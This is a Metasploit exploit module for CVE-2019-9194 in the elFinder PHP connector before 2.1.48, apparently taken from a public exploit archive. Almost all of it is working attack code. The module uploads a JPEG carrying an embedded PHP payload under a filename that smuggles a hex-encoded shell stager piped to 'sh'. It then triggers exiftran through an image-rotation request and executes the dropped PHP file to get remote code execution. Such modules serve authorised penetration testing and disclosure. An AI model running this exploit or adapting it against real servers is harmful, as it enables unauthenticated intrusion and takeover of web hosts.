elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'elFinder PHP Connector exiftran Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in elFinder versions prior to 2.1.48. The PHP connector component allows unauthenticated users to upload files and perform file modification operations, such as resizing and rotation of an image. The file name of uploaded files is not validated, allowing shell metacharacters. When performing image operations on JPEG files, the filename is passed to the `exiftran` utility without appropriate sanitization, causing shell commands in the file name to be executed, resulting in remote command injection as the web server user. The PHP connector is not enabled by default. The system must have `exiftran` installed and in `$PATH`. This module has been tested successfully on elFinder versions 2.1.47, 2.1.20 and 2.1.16 on Ubuntu. }, 'License' => MSF_LICENSE, 'Author' => [ 'Thomas Chauchefoin', # Discovery 'q3rv0', # Exploit 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-9194'], ['EDB', '46481'], ['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'], ['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/'] ], 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [['Auto', {}]], 'Privileged' => false, 'DisclosureDate' => '2019-02-26', 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/']) ] end # # Check if /php/connector.minimal.php exists and is executable # def check uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php') res = send_request_cgi('uri' => uri) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 vprint_status "#{uri} does not exist" return CheckCode::Safe end if res.body.include? '<?php' vprint_status 'PHP is not enabled' return CheckCode::Safe end CheckCode::Detected end # # Upload PHP payload # def upload(fname) # Small JPEG file from: # https://github.com/mathiasbynens/small/blob/master/jpeg.jpg jpeg = %w[ FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E 0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13 12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01 01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08 01 01 00 00 3F 00 D2 CF 20 FF D9 ] jpeg = [jpeg.join].pack('H*') jpeg << rand_text_alphanumeric(50..100) jpeg << "<?php #{payload.encoded} ?>" jpeg << rand_text_alphanumeric(50..100) data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="cmd"') data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}")) post_data = data.to_s print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 fail_with Failure::UnexpectedReply, 'Unexpected reply' end unless res.body.include?('"added"') fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end if res.body.include?('"error"') || res.body.include?('"warning"') fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end json_res = JSON.parse(res.body) rescue nil if json_res.nil? || json_res['added'].empty? fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end json_res['added'].first['hash'] || '' end # # Trigger the command injection via image rotation functionality # Rotates image by 180 degrees to trigger `exiftran` code path # def trigger(hash) print_status 'Triggering vulnerability via image rotation ...' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'vars_get' => { 'target' => hash, 'degree' => '180', 'mode' => 'rotate', 'cmd' => 'resize' } }, 5) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.body.include?('"error"') || res.body.include?('"warning"') fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}" end end # # Delete uploaded file # def delete_file(hash) print_status 'Removing uploaded file ...' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'vars_get' => { 'cmd' => 'rm', 'targets[]' => hash } }, 15) unless res print_status 'Connection failed' return end if res.body.include?('errFileNotFound') print_error "Could not delete uploaded file. Unexpected reply: #{res.body}" return end print_good 'Deleted uploaded file' end # # Execute payload # def execute_payload(php_fname) path = normalize_uri(target_uri.path, 'php', php_fname) print_status "Executing payload (#{path}) ..." res = send_request_cgi({ 'uri' => path }, 15) unless res print_status 'No reply' return end unless res.code == 200 fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})" end end # # Remove uploaded file # def cleanup delete_file @hash unless @hash.nil? ensure super end # # upload && execute # def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end fname = rand_text_alphanumeric(6..10) php_fname = ".#{rand_text_alphanumeric(6..10)}.php" # Max file name length is ~250 characters # and characters such as `/` are forbidden. # Hex encoded stager copies the uploaded file from the `files` directory # to the working directory (`php`) and changes the extension to `.php` # The stager is decoded with xxd when the vuln is triggered. stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}" # Upload our payload jpg file with encoded stager in the filename jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg" @hash = upload jpg_fname if @hash.to_s == '' fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID' end trigger @hash register_file_for_cleanup php_fname execute_payload php_fname end end |